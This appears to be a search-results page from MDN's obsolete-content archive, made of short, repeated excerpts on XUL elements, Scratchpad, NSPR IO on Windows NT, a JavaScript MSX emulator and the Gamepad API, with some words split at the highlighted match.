ement. control type: id this attribute specifies the id of the element with which the label is associated. when the user clicks on the label, the associated element is given focus. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...this class causes the element to be displayed with no border or margin. small-margin this class causes the text to be displayed with a smaller margin. text-link labels with this class may be focused and the click handler run or the address in the href attribute opened on a mouse click or enter key press. labels will appear like a link (blue and underlined). related elements descr
iption attributes label interfaces nsiaccessibleprovider, nsidomxullabelelement notes labels are not focusable note: starting in gecko 2.0, labels are properly not focusable. they used to incorrectly inherit from nsidomxulcontrolelement. the caption is in the "value" attribute remember that the label element has a "value" attribute, unlike value in html whereas buttons, checkboxe...
...And 2 more matches
listcell - Archive of obsolete content
c and checkbox listcells are also available. attributes crop, disabled, image, label, type properties disabled style classes listcell-iconic, examples (example needed) attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
... value of the disabled attribute. ...
...And 2 more matches
menubar - Archive of obsolete content
properties | methods | related ] a container that usually contains menu elements. on the macintosh, the menubar is displayed along the top of the screen, and all non-menu related elements inside the menubar will be ignored. to look native (at least on windows), the menubar element needs to be placed inside a toolbox element. more information is available in the xul tutorial. ...
... statusbar type: id if you set this attribute to the id of a statusbar element, the label on the statusbar will update to the statustext of the items on the menu as the user moves the mouse over them. properties accessibletype ty...
...abel="save" disabled="true"/> <menuitem label="close"/> <menuseparator/> <menuitem label="quit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes gr
ippyhidden seamonkey only type: boolean when set to true, the gr
ippy will be hidden. when set to false, the default, the gr
ippy will be shown. statusbar type: id if you set this attribute to the id of a statusbar element, the label on the statusbar will update to the statustext of the items on the menu as the user moves the mouse over them. properties accessibletype type: integer a value indicating the type of accessibility obj...
...And 2 more matches
notificationbox - Archive of obsolete content
and notifywindow is the web content window for the tab you want to find the notification box for. also it is possible to call function with the same name (they are different) of global object gbrowser: notifybox = gbrowser.getnotificationbox() examples <notificationbox flex="1"> <browser src="http://www.mozilla.org"/> </notificationbox> there is a more complex code available in the code sn
ippets area. properties currentnotification, allnotifications, notificationshidden methods appendnotification, getnotificationwithvalue, removeallnotifications, removecurrentnotification, removenotification, removetransientnotifications, attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, con...
...this property is read-only. allnotifications type: nodelist nodelist of all notifications. this property is read-only. notificationshidden type: boolean indicating whether the notification area should...
...this property is read-only. allnotifications type: nodelist nodelist of all notifications. this property is read-only. notificationshidden type: boolean indicating whether the notification area should be hidde...
...And 2 more matches
popupset - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] a container for menupopup, panel and toolt
ip elements. this element is optional; the given elements need not appear in a popupset container. more information is available in the xul tutorial. ...
... << xul reference home [ examples | attributes | properties | methods | related ] a container for menupopup, panel and toolt
ip elements. this element is optional; the given elements need not appear in a popupset container. more information is available in the xul tutorial. ...
...iner for menupopup, panel and toolt
ip elements. this element is optional; the given elements need not appear in a popupset container. more information is available in the xul tutorial. ...
...And 2 more matches
preferences - Archive of obsolete content
. note: it's not clear which of the following methods and properties are public. examples <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> <preference id="pref_two" name="extensions.myextension.two" type="string"/> ... etc ... </preferences> attributes these ought to be readonly; three of these could be merged into a single member attribute ns
iprefservice service; the preferences service. attribute ns
iprefbranch rootbranch; the root prefs branch. attribute ns
iprefbranch defaultbranch; the root branch of the tree with default values. attribute ns
iprefbranch2 rootbranchinternal; the root prefs branch (ns
iprefbranch2). inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, coll...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
... void observe(in nsisupports asubject, in string atopic, in wstring adata); nsiobserver ...
...And 2 more matches
prefwindow - Archive of obsolete content
rcolor type: color string specify background color of the window's titlebar when it is inactive (background). moreover this hides separator between titlebar and window contents. this affects only on mac os x. lastselected type: string set this to the id of the last selected pane. it will be opened by default the next time the preferences dialog is opened. onbeforeaccept type: scr
ipt code the code in this attribute is called when the ok button is pressed or the acceptdialog method is called. returning false doesn't currently prevent the dialog from closing, but does prevent saving (bug 474527). ondialogaccept type: scr
ipt code the code in this attribute is called when the accept button is pressed, or when the acceptdialog method is called. if the handler returns t...
...called. returning false doesn't currently prevent the dialog from closing, but does prevent saving (bug 474527). ondialogaccept type: scr
ipt code the code in this attribute is called when the accept button is pressed, or when the acceptdialog method is called. if the handler returns true, the dialog will indeed go away, but if it returns false it will not. ondialogcancel type: scr
ipt code the code in this attribute is called when the "cancel" button is pressed or when the canceldialog method is called. if the routine returns true, the dialog will indeed go away, but if it returns false it will not. ...
... is called. if the handler returns true, the dialog will indeed go away, but if it returns false it will not. ondialogcancel type: scr
ipt code the code in this attribute is called when the "cancel" button is pressed or when the canceldialog method is called. if the routine returns true, the dialog will indeed go away, but if it returns false it will not. ondialogdisclosure type: scr
ipt code the code in this attribute is called when the "disclosure" button is pressed. ondialoghelp type: scr
ipt code the code in this attribute is called when the "help" button is pressed. prefwindow.onload type: scr
ipt code when a window finishes loading, it calls this event handler on the prefwindow element. title type: string the text to appear in the title bar of the ...
...And 2 more matches
splitter - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] an element which should appear before or after an element inside a container. when the splitter is dragged, the sibling elements of the splitter are resized. if a gr
ippy is placed inside the splitter, one sibling element of the splitter is collapsed when the gr
ippy is clicked. more information is available in the xul tutorial. ...
...ling element of the splitter is collapsed when the gr
ippy is clicked. more information is available in the xul tutorial. attributes collapse, resizeafter, resizebefore, state, substate style classes tree-splitter examples <!-- this bar has some styling associated with it. the vbox is used to hold the .png image that a user clicks on to resize the search bar.--> <splitter toolt
iptext="resize the search box" oncommand="alert('the splitter was dragged')"> <vbox id="example_vbox" /> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its gr
ippy is clicked. if this attribute is not specified, the splitter will not cause a collapse. ...
...n to resize the search bar.--> <splitter toolt
iptext="resize the search box" oncommand="alert('the splitter was dragged')"> <vbox id="example_vbox" /> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its gr
ippy is clicked. if this attribute is not specified, the splitter will not cause a collapse. you should put a gr
ippy element inside the splitter when it is used for collapsing. none no collapsing occurs. before when the gr
ippy is clicked, the element immediately before the splitter in the same parent is collapsed so that its width or height is 0. after when the gr
ippy is clicked, the element immediately after the splitter in the same parent is collapsed so that its width or height is 0. both...
...And 2 more matches
toolbarbutton - Archive of obsolete content
1, pressing the button will switch to the opposite state. when in state 2, pressing the button will switch to state 0. this means that the button acts like a checkbox except that there is a third state which must be set manually by adjusting the check state. if you wish to have different behavior for how the states are adjusted, set the autocheck attribute to false and adjust the state with a scr
ipt. the type attribute must be set to checkbox for buttons with a check state. constants for the possible values for this attribute are in the nsidomxulbuttonelement interface. checked type: boolean indicates whether the element is checked or not. use hasattribute() to determine whether this attribute is set instead of getattribute(). for buttons, the type attribute must be set to checkbo...
...tons, the type attribute must be set to checkbox or radio for this attribute to have any effect. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...And 2 more matches
toolbarpalette - Archive of obsolete content
us spacing items, as those are added automatically. you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
...tems, as those are added automatically. you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...And 2 more matches
toolbarseparator - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwi...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu...
...essibility object for the element. ...
...And 2 more matches
toolbarspacer - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, ma...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, m...
...ssibility object for the element. ...
...And 2 more matches
toolbarspring - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxw...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, men...
...ssibility object for the element. ...
...And 2 more matches
treecols - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] a group of treecol elements. there should one and only one treecols element in a tree. more information is available in the xul tutorial. attributes pickertoolt
iptext properties accessibletype examples (example needed) attributes pickertoolt
iptext type: string the text for the toolt
ip on the column picker. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, ma...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, m...
...And 2 more matches
wizardpage - Archive of obsolete content
label type: string the label that will appear on the element. ...
... label type: string the label that will appear on the element. ...
... label type: string the label that will appear on the element. ...
...And 2 more matches
Dialogs in XULRunner - Archive of obsolete content
ogs are good examples of these. whenever possible, it is a good idea to reuse these "native" dialogs so users get a consistent experience across applications. custom dialogs building dialogs in xul is very similar to creating windows. each dialog is described in its own xul file. xul provides a dialog element to act as the container for the dialog. dialog xul files can have dtd, css, and javascr
ipt, just like windows. here is an example xul dialog: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favorite" buttonaccesskeyacce...
...my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favorite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <scr
ipt> function dosave(){ //dosomething() return true; } function docancel(){ return true; } </scr
ipt> <dialogheader title="my dialog" descr
iption="example dialog"/> <groupbox flex="1"> <caption label="select favorite fruit"/> <radiogroup> <radio id="1" label="oranges because they are fruity"/> <radio id="2" selected="true" label="strawberrie...
... about dialog is the button-related attributes on the element. in an effort to make things easier for developers and more consistent for users, xul has a mechanism to automatically create and position the core dialog buttons ("ok," "cancel," and "help" for example). the developer just declares the need for the button, the button's caption, and the access key for the button, as well as the javascr
ipt function to call if the button is pressed. xul handles placing and styling the buttons on the dialog. this is also nice for cross-platform applications, as each os has its own convention for where buttons should be placed on a dialog. here is a short list of the button attributes on dialog; see also creating dialogs at mozillazine knowledge base: buttons a comma separated list of buttons to...
...And 2 more matches
calICalendarView - Archive of obsolete content
in the vast majority of cases, the dom corresponding to an implementation of calicalendarview will be rather complex. ...
...in the vast majority of cases, the dom corresponding to an implementation of calicalendarview will be rather complex. ...
...tire week of dates, and sometimes show only the single date passed in. this allows lack of required predictability allows calicalendarview implementations to be re-used in a variety of sitatuations. it also fueled the development, however, of the more predictable, but less flexible calidecoratedview, which usually contains an embedded calicalendarview. ...
...And 2 more matches
Proposal - Archive of obsolete content
don't expect any software to support them.) but some of them could become standards in the future. note: those in the list below that are marked "in development" should not be implemented. "in development" means that they are still working on it and trying to come up with a draft. those labeled with "draft exists" can be implemented, but be warned that they could radically change. ...
...spec exists newsgator feed extension created to make rss feeds work better with newsgator software. lets you specify an image, up to 277x78 pixels. ...
...spec exists newsgator feed extension created to make rss feeds work better with newsgator software. lets you specify an image, up to 277x78 pixels. and lets you specifies a specific rendering transform (xslt) to be used when rendering the feed in newsgator for outlook. ...
...And 2 more matches
Table Reflow Internals - Archive of obsolete content
ort, scroll(s), canvas, html, body). the initial chunk of an xml doc is loaded. the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow command with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow command with itself as the target. style changes through the dom - javascr
ipt, browser change font (ctrl+/-), a preference changes, etc. review of reflow reflow starts with pres shell which reflows the reflow root (usually the viewport frame), which reflows it children, etc. ususally it starts when the pres shell processes its queue of reflow commands. the reflower positions reflowee (if it can) before actually reflowing in case views are involved (e.g. absolutely...
... starts when the pres shell processes its queue of reflow commands. the reflower positions reflowee (if it can) before actually reflowing in case views are involved (e.g. absolutely positioned elements) reflows reflowee and passes a reflow state (in) and a reflow metrics (in/out) review of reflow the reflow state: is a node in a tree structurally equivalent to the frame tree of reflow partic
ipants contains: reflow type, avail size, various computed values, resolved style structs possible request for preferred size and more. review of reflow the reflow metrics contains: max element size (if requested) - the minimum size it can be preferred size (if requested) - the size it would like to be given no size constraints. desired size - the size it would like to be given the avail siz...
...the table figures out the column widths (balances) given the style width constraints on the table, col groups, cols, cells the preferred and max element sizes of the cells (from the pass 1 reflow), and considers colspans pass 2 - cell widths are constrained by the column widths (heights are only constrained in paginated m...
...And 2 more matches
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <descr
iption about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> <!-- target application this extension can install into, with minimum and maximum supported versions. ...
...n="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <descr
iption about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> <!-- target application this extension can install into, with minimum and maximum supported versions. ...
...:version>themes_version</em:version> <!-- target application this extension can install into, with minimum and maximum supported versions. ...
...And 2 more matches
Scratchpad - Archive of obsolete content
scratchpad is deprecated as of firefox 70 (bug 1565380), and will be removed as of firefox 72 (bug 1519103). as an alternative, starting in firefox 71, you can use the multi-line mode of the javascr
ipt console input. scratchpad provides an environment for experimenting with javascr
ipt code. you can write, run, and examine the results of code that interacts with the web page. unlike the web console, which is designed for interpreting a single line of code at a time, scratchpad lets you edit larger chunks of javascr
ipt code, then execute it in various ways depending on how you want to use the output. the featured video tutorial shows a case of using scratchpad with a page run by a local web server. it is also possible to use scratchpad over pages opened from a local file system, if pe...
...n the toolbox, alongside other tools like the page inspector and the web console. this is especially useful in split console mode: you can use scratchpad for a persistent, multiline editor, and the console to interact with the page. editing the scratchpad window looks something like this (on macos the menu bar is at the top of the screen): the file menu offers options to save and load javascr
ipt code sn
ippets, so you can reuse code later if you like. code completion scratchpad integrates the tern code analysis engine, and uses that to provide autocomplete suggestions and popups containing information on the current symbol. to list autocomplete suggestions, press ctrl + space. for example, try typing d, then pressing ctrl + space. you'll see the autocomplete box, as shown below: the ...
...h more information. ? and ? cycle through the suggestions and enter or tab select the highlighted choice. inline documentation to show the inline documentation popup, press ctrl + shift + space when the cursor is on an identifier. for example, if you type document.addeventlistener, then press ctrl + shift + space, you'll see a popup that shows a summary of the function's syntax and a short descr
iption: the "[docs]" link takes you to the mdn documentation for the symbol. executing once you've written your code, select the code you want to run. if you don't select anything, all the code in the window will be run. then choose the way you want the code to run using the buttons along the top, using the execute menu, or using the context menu. the code is executed in the scope of the currentl...
...And 2 more matches
Using IO Timeout And Interrupt On NT - Archive of obsolete content
this technical memo is a cautionary note on using netscape portable runtime's (nspr) io timeout and interrupt on windows nt 3.51 and 4.0. due to a limitation of the present implementation of nspr io on nt, programs must follow the following guideline: if a thread calls an nspr io function on a file descr
iptor and the io function fails with <tt>pr_io_timeout_error</tt> or <tt>pr_pending_interrupt_error</tt>, the file descr
iptor must be closed before the thread exits. in this memo we explain the problem this guideline is trying to work around and discuss its limitations. nspr io on nt the io model of nspr 2.0 is synchronous and blocking. a thread calling an io function is blocked until the io operation finishes, either due to a successful io completion or an error. if the io operati...
...ous of what is going on and the overlapped io request is still in progress. the os still has a pointer to the overlapped buffer in the thread's <tt>prthread</tt> structure. if the thread subsequently exists and its <tt>prthread</tt> structure gets deleted, the pointer to the overlapped buffer will be pointing to freed memory. this is problematic. canceling overlapped io by closing the file descr
iptor therefore, we need to cancel the outstanding overlapped io request before the thread exits. nt's <tt>cancelio()</tt> function would be ideal for this purpose. unfortunately, <tt>cancelio()</tt> is not available on nt 3.51. so we can't go this route as long as we are supporting nt 3.51. the only reliable way to cancel outstanding overlapped io request that works on both nt 3.51 and 4.0 is to c...
...need to cancel the outstanding overlapped io request before the thread exits. nt's <tt>cancelio()</tt> function would be ideal for this purpose. unfortunately, <tt>cancelio()</tt> is not available on nt 3.51. so we can't go this route as long as we are supporting nt 3.51. the only reliable way to cancel outstanding overlapped io request that works on both nt 3.51 and 4.0 is to close the file descr
iptor, hence the rule of thumb stated at the beginning of this memo. limitations this seemingly harsh way to force the completion of outstanding overlapped io request has the following limitations: it is difficult for threads to shared a file descr
iptor. for example, suppose thread a and thread b call <tt>pr_accept()</tt> on the same socket, and they time out at the same time. following the rul...
...And 2 more matches
CSS - Archive of obsolete content
ves a string indicating whether the object represents a keyboard shortcut.-ms-block-progressionthe -ms-block-progression css property is a microsoft extension that specifies the block progression and layout orientation.-ms-content-zoom-chainingthe -ms-content-zoom-chaining css property is a microsoft extension specifying the zoom behavior that occurs when a user hits the zoom limit during page man
ipulation.-ms-content-zoom-limitthe -ms-content-zoom-limit css shorthand property is a microsoft extension that specifies values for the -ms-content-zoom-limit-min and -ms-content-zoom-limit-max properties.-ms-content-zoom-limit-maxthe -ms-content-zoom-limit-max css property is a microsoft extension that specifies the selected elements' maximum zoom factor.-ms-content-zoom-limit-minthe -ms-content-z...
...nsion is implemented in microsoft edge and internet explorer 11.-ms-overflow-stylethe -ms-overflow-style css property is a microsoft extension controlling the behavior of scrollbars when the content of an element overflows.-ms-scroll-chainingthe -ms-scroll-chaining css property is a microsoft extension that specifies the scrolling behavior that occurs when a user hits the scroll limit during a man
ipulation.-ms-scroll-limitthe -ms-scroll-limit css property is a microsoft extension that specifies values for the -ms-scroll-limit-x-min, -ms-scroll-limit-y-min, -ms-scroll-limit-x-max, and -ms-scroll-limit-y-max properties.-ms-scroll-limit-x-maxthe -ms-scroll-limit-x-max css property is a microsoft extension that specifies the maximum value for the element.scrollleft property.-ms-scroll-limit-x-mi...
...-ms-scrollbar-track-colorthe -ms-scrollbar-track-color css property is a microsoft extension that specifies the color of the track element of a scrollbar.-ms-text-autospacethe -ms-text-autospace css property is a microsoft extension that specifies the autospacing and narrow space width adjustment of text.-ms-touch-selectthe -ms-touch-select css property is a microsoft extension that toggles the gr
ipper visual elements that enable touch text selection.-ms-wrap-flowthe -ms-wrap-flow css property is a microsoft extension that specifies how exclusions impact inline content within block-level elements.-ms-wrap-marginthe -ms-wrap-margin css property is a microsoft extension that specifies a margin that offsets the inner wrap shape from other shapes.-ms-wrap-throughthe -ms-wrap-through css property...
...And 2 more matches
Debug.writeln - Archive of obsolete content
the debug.writeln function is almost identical to the debug.write function. the only difference is that the debug.write function does not send a newline character after sending the strings. ...
... the debug.writeln function is almost identical to the debug.write function. the only difference is that the debug.write function does not send a newline character after sending the strings. ...
... the debug.writeln function is almost identical to the debug.write function. the only difference is that the debug.write function does not send a newline character after sending the strings. ...
...And 2 more matches
JavaClass - Archive of obsolete content
you can pass a javaclass object to a java method which requires an argument of type java.lang.class. ...
... you can pass a javaclass object to a java method which requires an argument of type java.lang.class. ...
...d by a reference to the class name used with the packages object: packages.javaclass javaclassis the fully-specified name of the object's java class. the liveconnect java, sun, and netscape objects provide shortcuts for commonly used java packages and also create javaclass objects. descr
iption a javaclass object is a reference to one of the classes in a java package, such as netscape.javascr
ipt.jsobject. a javapackage object is a reference to a java package, such as netscape.javascr
ipt. ...
...And 2 more matches
MSX Emulator (jsMSX) - Archive of obsolete content
what is it? jsmsx is the first msx emulator 100% written in javascr
ipt. yes, you read it: javascr
ipt! it emulates the underlying z80 cpu, tms9918 video display processor (vdp), ppi, ram slots, and megaram. in its present form, it should be able to run any program or game developed for msx 1.0. since javascr
ipt currently is mostly an interpreted language in web browsers, it is at least an order of magnitude slower than other languages such as c and java. therefore, jsmsx requires a very fast computer to emulate msx at the normal 50-60 interrupts per second inside a web browser. why? the initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and javascr
ipt language in the most recent web browsers like firefox 2. as you may have...
...ires a very fast computer to emulate msx at the normal 50-60 interrupts per second inside a web browser. why? ...
...per second inside a web browser. why? the initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and javascr
ipt language in the most recent web browsers like firefox 2. as you may have realized, many challenges on performance are faced when developing in javascr
ipt. they present an interesting testbed for pushing the current javascr
ipt implementations to their limits and for comparing their relative speed. jsmsx can also be used to tightly integrate existing msx programs in web page logic. how to help lots of work to optimize the performance and add msx 2.0, 2.0+ and turbor features are still necessary. version 1.0 will release an optimized javascr
ipt engine for msx 1.0. version 2.0, 3.0 and 4.0 will be compatible with msx 2.0...
...And 2 more matches
Mozilla XForms User Interface - Archive of obsolete content
he xforms specs define two kinds of xforms ui elements, called 'form controls' and 'xforms user interface'. elements from the "form controls" group allows users to interact with instance data. the set of "xforms user interface" elements exist to aid form authors in combining host language markup and xforms markup together in order to build user interfaces. some of the 'form controls' can have mult
iple appearances and thus may be rendered in mult
iple ways. we use the data type of the instance node that the form control is bound to as a clue when making a rendering decision. the form author can also use the 'appearance' attribute on the form control to give us another clue. for example, a xforms input control may appear as a text field or as a datepicker depending on whether it is bound to a x...
...cesskey - keyboard shortcut for moving focus to an xforms element. binding attributes single-node (see the spec) and node-set (see the spec) attributes are used to bind xforms elements to instance nodes. these attributes are: ref, nodeset, model and bind. xforms elements almost every xforms element can be presented as one of serveral different kinds of widgets. this section contains a short descr
iption of each xforms element and its representation. the xforms specification offers suggestions for some of the representations, but some of the widgets we use are only available in the mozilla xforms processor. the choice of widget that we use is often determined by the data type of the instance node that the xforms element is bound to. the form author can also influence the widget by using the a...
...ons for some of the representations, but some of the widgets we use are only available in the mozilla xforms processor. the choice of widget that we use is often determined by the data type of the instance node that the xforms element is bound to. the form author can also influence the widget by using the appearance attribute on the element. form controls module this section contains a short descr
iption for each form control element. input a key xforms element to show and change the instance data to which it is bound. usually bound to data that can be well-represented by a string (see the spec). it can have the following representations: text field - default representation. used for most data types, especially text data. checkbox - used for boolean instance data datepicker - default r...
...And 2 more matches
Popup Window Controls - Archive of obsolete content
without using popup windows. popup window controls configuration using the preference for privacy & security > popup windows, users can: allow all sites to open popup windows except for sites which the user has explicity denied permission what popup windows are suppressed? mozilla will attempt to suppress all calls to window.open() which occur in the following circumstances: global scr
ipt which is executed as the document is loading scr
ipt executed as part of a onload event handler scr
ipt executed in settimeout() or setinterval() what popup windows are not suppressed? any attempt to open a popup window that is the direct result of user action, such as clicking on a hyperlink, should succeed in opening popup windows even if the user has popup controls enabled on your site. d...
... setinterval() what popup windows are not suppressed? any attempt to open a popup window that is the direct result of user action, such as clicking on a hyperlink, should succeed in opening popup windows even if the user has popup controls enabled on your site. ...
...ing popup windows even if the user has popup controls enabled on your site. detecting suppressed popups windows if a user has popup controls enabled for your site, any attempt to call window.open in global scr
ipt, in an onload handler or in settimeout() or setinterval() will return null rather than a reference to the opened window. ...
...And 2 more matches
Game distribution - Game development
tml5 game -- that's great! this article covers all you need to know about the ways in which you can distribute your newly created game into the wild. this includes hosting it yourself online, submitting it to open marketplaces, and submitting it to closed ones like google play or the ios app store. benefits of html5 over native building games with html5 gives you extra advantages, such as: mult
iplatform bliss the technology itself is mult
iplatform, so you can write the code once and target mult
iple devices. this can range from low-end smartphones or tablets, through laptops and desktop computers, to smart tvs, watches or even a fridge if it can handle a modern enough browser. you don't need to have separate teams to work on the same title targeting different platforms with only one code...
... you want it and don't have to jump through lots of hoops to play. desktop vs mobile the vast majority of the traffic we are interested in -- people playing html5 games -- comes from mobile devices so that's something you will have to focus on if you truly want to succeed. mobile devices are where html5 technology can truly shine and show its advantages. there's no flash, and html5 is fully mult
iplatform. trying to compete with desktop games directly is very difficult. you can put your html5 games into the same arena (see native desktop, later on) and you should because it's good to diversify the platforms you support, but you have to remember that developers creating desktop games have years of experience, great tools and stable distribution channels. many html5 games will target differe...
...you can also try to find a niche and promote directly to the audience who would be interested in your games. your creativity is critical here. web stores the best platforms for html5 games are the web-based stores. it's easy to prepare a game for them as such an action involves little to no modification of the game itself -- usually adding a manifest file containing necessary information in a z
ipped package containing all the resources is enough. the chrome web store is also an attractive option -- again, having a manifest file ready, z
ipping your game and filling in the online submission form is about all that's required. tizen is also putting a high value on supporting apps written in javascr
ipt. their store is another available option. native mobile stores when it comes to the m...
...And 2 more matches
Desktop gamepad controls - Game development
previous overview: control mechanisms next now we'll look at adding something extra -- support for gamepad controls, via the gamepad api. it brings a console-like experience to your web games. the gamepad api gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the javascr
ipt code thanks to the browsers implementing such feature. an api exposes all the information you need to hook up your game's logic and successfully control the user interface and gameplay. api status, browser and hardware support the gamepad api is still in working draft status, although browser support is already quite good -- around 63% global coverage, according to caniuse.com. the list of supported devices is also quite extensive -- most popular gamepa...
...ly control the user interface and gameplay. api status, browser and hardware support the gamepad api is still in working draft status, although browser support is already quite good -- around 63% global coverage, according to caniuse.com. the list of supported devices is also quite extensive -- most popular gamepads (e.g. xbox 360 or ps3) should be suitable for web implementations. pure javascr
ipt approach let's think about implementing pure javascr
ipt gamepad controls in our little controls demo first to see how it would work. first, we need an event listener to listen for the connection of the new device: window.addeventlistener("gamepadconnected", gamepadhandler); it's executed once, so we can create some variables we will need later on for storing the controller info and the presse...
...e: please remember that different devices may have different key mappings, i.e. the d-pad right button have an index of 3 on the wireless xbox 360, but may have a different one on another device. ...
...And 2 more matches
Boolean - MDN Web Docs Glossary: Definitions of Web-related terms
in computer science, a boolean is a logical data type that can have only the values true or false. for example, in javascr
